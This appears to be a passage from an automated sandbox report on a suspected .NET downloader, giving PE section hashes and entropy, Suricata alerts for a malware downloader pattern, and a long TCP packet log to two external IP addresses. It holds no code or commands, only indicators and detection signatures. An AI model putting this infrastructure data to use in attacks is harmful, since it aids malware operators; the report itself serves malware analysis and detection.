IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x5ea4	0x6000	ccd7aa9f2c8f40fa9f473b409a8889be	False	0.4320475260416667	data	5.704340343069572	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x8000	0x59e	0x600	0a39fc6384ab0d8254d951366160ff9d	False	0.4186197916666667	data	4.060044360338592	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa000	0xc	0x200	86a6f5864bdc3bdb1df3b6f2346afcac	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x80a0	0x314	data			0.4352791878172589
RT_MANIFEST	0x83b4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-03T06:52:22.284067+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49730	104.26.13.205	80	TCP
2024-10-03T06:52:50.002947+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49749	104.26.13.205	80	TCP
2024-10-03T06:52:58.253241+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49753	104.26.13.205	80	TCP
2024-10-03T06:53:26.706160+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49758	104.26.13.205	80	TCP
2024-10-03T06:53:28.096804+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49760	104.26.13.205	80	TCP
2024-10-03T06:53:34.768713+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49763	104.26.13.205	80	TCP
2024-10-03T06:53:36.121497+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	104.26.13.205	80	TCP
2024-10-03T06:53:41.940710+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49770	104.26.13.205	80	TCP
2024-10-03T06:54:03.768921+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49773	104.26.13.205	80	TCP
2024-10-03T06:54:05.441049+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49775	104.26.13.205	80	TCP
2024-10-03T06:54:36.768983+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49780	104.26.13.205	80	TCP
2024-10-03T06:54:41.566411+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49785	104.26.13.205	80	TCP
2024-10-03T06:54:46.924616+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49788	104.26.13.205	80	TCP
2024-10-03T06:54:53.534701+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49792	104.26.13.205	80	TCP
2024-10-03T06:54:55.154634+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49794	104.26.13.205	80	TCP
2024-10-03T06:55:10.831557+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49797	104.26.13.205	80	TCP
2024-10-03T06:55:11.940926+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49797	104.26.13.205	80	TCP
2024-10-03T06:55:20.659777+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49801	104.26.13.205	80	TCP
2024-10-03T06:55:22.331566+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49803	104.26.13.205	80	TCP
2024-10-03T06:55:26.644055+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49803	104.26.13.205	80	TCP
2024-10-03T06:55:27.644138+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49803	104.26.13.205	80	TCP
2024-10-03T06:55:27.831777+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49806	104.26.13.205	80	TCP
2024-10-03T06:55:27.862920+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49807	104.26.13.205	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 06:52:20.132065058 CEST	49730	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:20.136934996 CEST	80	49730	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:20.137026072 CEST	49730	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:20.145239115 CEST	49730	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:20.150067091 CEST	80	49730	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:20.591435909 CEST	80	49730	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:20.644485950 CEST	49730	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:20.734364033 CEST	49731	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:20.734420061 CEST	443	49731	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:20.738521099 CEST	49731	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:21.014029026 CEST	49731	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:21.014056921 CEST	443	49731	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:21.562766075 CEST	443	49731	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:21.562828064 CEST	49731	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:21.566873074 CEST	49731	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:21.566883087 CEST	443	49731	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:21.567279100 CEST	443	49731	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:21.612011909 CEST	49731	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:21.659396887 CEST	443	49731	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:21.711865902 CEST	443	49731	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:21.732331991 CEST	49731	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:21.732338905 CEST	443	49731	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:22.106892109 CEST	443	49731	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:22.107062101 CEST	443	49731	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:22.107112885 CEST	49731	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:22.110167027 CEST	49731	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:22.136101007 CEST	49730	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:22.141055107 CEST	80	49730	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:22.238219976 CEST	80	49730	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:22.240217924 CEST	49732	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:22.240303040 CEST	443	49732	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:22.240381956 CEST	49732	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:22.240740061 CEST	49732	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:22.240761995 CEST	443	49732	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:22.284066916 CEST	49730	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:22.699786901 CEST	443	49732	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:22.705065966 CEST	49732	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:22.705121040 CEST	443	49732	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:22.833224058 CEST	443	49732	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:22.840293884 CEST	49732	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:22.840342045 CEST	443	49732	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:23.156162977 CEST	443	49732	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:23.156316996 CEST	443	49732	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:23.156481981 CEST	49732	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:23.157198906 CEST	49732	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:23.159908056 CEST	49733	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:23.160003901 CEST	443	49733	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:23.160104990 CEST	49733	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:23.160515070 CEST	49733	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:23.160551071 CEST	443	49733	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:23.777053118 CEST	443	49733	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:23.780400038 CEST	49733	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:23.780464888 CEST	443	49733	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:23.914280891 CEST	443	49733	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:23.914690971 CEST	49733	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:23.914747953 CEST	443	49733	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:24.228288889 CEST	443	49733	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:24.228447914 CEST	443	49733	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:24.228703022 CEST	49733	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:24.228857994 CEST	49733	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:48.227811098 CEST	49749	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:48.235470057 CEST	80	49749	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:48.238554955 CEST	49749	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:48.238869905 CEST	49749	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:48.243712902 CEST	80	49749	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:48.737541914 CEST	80	49749	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:48.741206884 CEST	49750	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:48.741255999 CEST	443	49750	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:48.741344929 CEST	49750	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:48.744893074 CEST	49750	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:48.744913101 CEST	443	49750	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:48.784173012 CEST	49749	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:49.246409893 CEST	443	49750	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:49.246486902 CEST	49750	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:49.256055117 CEST	49750	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:49.256077051 CEST	443	49750	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:49.256266117 CEST	443	49750	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:49.299796104 CEST	49750	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:49.375854969 CEST	49750	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:49.423402071 CEST	443	49750	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:49.479088068 CEST	443	49750	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:49.481187105 CEST	49750	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:49.481205940 CEST	443	49750	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:49.817528009 CEST	443	49750	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:49.817604065 CEST	443	49750	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:49.818177938 CEST	49750	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:49.818201065 CEST	443	49750	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:49.818331957 CEST	49750	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:49.818502903 CEST	49750	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:49.829735041 CEST	49749	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:49.841933966 CEST	80	49749	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:49.950757980 CEST	80	49749	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:49.954256058 CEST	49751	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:49.954297066 CEST	443	49751	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:49.954441071 CEST	49751	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:49.954674006 CEST	49751	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:49.954694986 CEST	443	49751	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:50.002947092 CEST	49749	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:50.510993958 CEST	443	49751	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:50.512810946 CEST	49751	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:50.512829065 CEST	443	49751	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:50.663938046 CEST	443	49751	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:50.664256096 CEST	49751	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:50.664272070 CEST	443	49751	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:50.968513966 CEST	443	49751	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:50.968590021 CEST	443	49751	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:50.968674898 CEST	49751	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:50.969106913 CEST	49751	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:50.972310066 CEST	49752	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:50.972349882 CEST	443	49752	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:50.972475052 CEST	49752	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:50.972692013 CEST	49752	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:50.972709894 CEST	443	49752	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:51.513748884 CEST	443	49752	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:51.565423012 CEST	49752	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:51.578275919 CEST	49752	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:51.578293085 CEST	443	49752	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:51.700983047 CEST	443	49752	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:51.702672958 CEST	49752	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:51.702689886 CEST	443	49752	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:52.011190891 CEST	443	49752	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:52.011379957 CEST	443	49752	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:52.011452913 CEST	49752	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:52.011698008 CEST	49752	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:56.389693022 CEST	49753	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:56.412760973 CEST	80	49753	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:56.412947893 CEST	49753	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:56.413243055 CEST	49753	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:56.433837891 CEST	80	49753	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:57.002075911 CEST	80	49753	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:57.049948931 CEST	49753	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:57.067955017 CEST	49754	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:57.068052053 CEST	443	49754	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:57.068136930 CEST	49754	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:57.072398901 CEST	49754	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:57.072479010 CEST	443	49754	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:57.609843016 CEST	443	49754	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:57.610069036 CEST	49754	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:57.611691952 CEST	49754	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:57.611725092 CEST	443	49754	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:57.612075090 CEST	443	49754	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:57.646749020 CEST	49754	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:57.687434912 CEST	443	49754	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:57.764955044 CEST	443	49754	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:57.766623020 CEST	49754	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:57.766686916 CEST	443	49754	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:58.092061996 CEST	443	49754	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:58.092164993 CEST	443	49754	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:58.092330933 CEST	49754	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:58.092674971 CEST	49754	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:58.105088949 CEST	49753	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:58.109993935 CEST	80	49753	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:58.208225965 CEST	80	49753	104.26.13.205	192.168.2.4
Oct 3, 2024 06:52:58.210433960 CEST	49755	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:58.210525990 CEST	443	49755	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:58.211088896 CEST	49755	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:58.211374044 CEST	49755	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:58.211391926 CEST	443	49755	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:58.253241062 CEST	49753	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:52:58.689152002 CEST	443	49755	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:58.690635920 CEST	49755	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:58.690661907 CEST	443	49755	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:58.827323914 CEST	443	49755	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:58.828114033 CEST	49755	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:58.828144073 CEST	443	49755	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:59.397705078 CEST	443	49755	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:59.397866011 CEST	443	49755	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:59.397937059 CEST	49755	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:59.409643888 CEST	49755	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:59.475210905 CEST	49756	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:59.475310087 CEST	443	49756	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:59.475439072 CEST	49756	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:59.475656986 CEST	49756	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:59.475694895 CEST	443	49756	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:59.956209898 CEST	443	49756	104.21.54.163	192.168.2.4
Oct 3, 2024 06:52:59.962234974 CEST	49756	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:52:59.962291002 CEST	443	49756	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:00.073440075 CEST	443	49756	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:00.073714018 CEST	49756	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:00.073753119 CEST	443	49756	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:00.367846966 CEST	443	49756	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:00.368063927 CEST	443	49756	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:00.368145943 CEST	49756	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:00.368792057 CEST	49756	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:26.186110973 CEST	49730	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:26.187052011 CEST	49758	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:26.191534996 CEST	80	49730	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:26.191617012 CEST	49730	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:26.191895008 CEST	80	49758	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:26.192068100 CEST	49758	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:26.192328930 CEST	49758	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:26.197117090 CEST	80	49758	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:26.653465986 CEST	80	49758	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:26.655484915 CEST	49759	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:26.655579090 CEST	443	49759	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:26.655725956 CEST	49759	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:26.656023026 CEST	49759	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:26.656056881 CEST	443	49759	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:26.706160069 CEST	49758	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:27.119570017 CEST	443	49759	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:27.128092051 CEST	49759	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:27.128154039 CEST	443	49759	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:27.257322073 CEST	443	49759	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:27.257627964 CEST	49759	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:27.257675886 CEST	443	49759	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:27.556497097 CEST	443	49759	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:27.556670904 CEST	443	49759	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:27.556777000 CEST	49759	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:27.557158947 CEST	49759	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:27.566062927 CEST	49758	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:27.566685915 CEST	49760	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:27.571897984 CEST	80	49758	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:27.572643995 CEST	80	49760	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:27.572716951 CEST	49758	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:27.572753906 CEST	49760	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:27.572942019 CEST	49760	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:27.577728987 CEST	80	49760	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:28.048118114 CEST	80	49760	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:28.050618887 CEST	49761	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:28.050663948 CEST	443	49761	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:28.050719976 CEST	49761	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:28.051012039 CEST	49761	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:28.051027060 CEST	443	49761	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:28.096803904 CEST	49760	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:28.521770954 CEST	443	49761	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:28.565650940 CEST	49761	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:28.593745947 CEST	49761	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:28.593754053 CEST	443	49761	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:28.691128969 CEST	443	49761	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:28.691349030 CEST	49761	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:28.691358089 CEST	443	49761	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:28.984455109 CEST	443	49761	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:28.984601974 CEST	443	49761	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:28.984797001 CEST	49761	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:28.985099077 CEST	49761	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:28.986192942 CEST	49762	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:28.986210108 CEST	443	49762	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:28.987585068 CEST	49762	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:28.987864971 CEST	49762	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:28.987876892 CEST	443	49762	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:29.456532001 CEST	443	49762	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:29.458271027 CEST	49762	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:29.458293915 CEST	443	49762	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:29.571600914 CEST	443	49762	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:29.574875116 CEST	49762	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:29.574897051 CEST	443	49762	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:29.852149010 CEST	443	49762	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:29.852313995 CEST	443	49762	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:29.852368116 CEST	49762	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:29.852802038 CEST	49762	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:34.187103987 CEST	49760	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:34.188014030 CEST	49763	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:34.192632914 CEST	80	49760	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:34.192698956 CEST	49760	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:34.192883015 CEST	80	49763	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:34.192946911 CEST	49763	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:34.193074942 CEST	49763	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:34.197865963 CEST	80	49763	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:34.668975115 CEST	80	49763	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:34.671025038 CEST	49764	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:34.671046972 CEST	443	49764	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:34.671097994 CEST	49764	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:34.671420097 CEST	49764	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:34.671426058 CEST	443	49764	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:34.768712997 CEST	49763	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:35.132772923 CEST	443	49764	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:35.137562990 CEST	49764	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:35.137577057 CEST	443	49764	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:35.256944895 CEST	443	49764	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:35.257750988 CEST	49764	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:35.257756948 CEST	443	49764	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:35.579220057 CEST	443	49764	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:35.579442978 CEST	443	49764	104.21.54.163	192.168.2.4
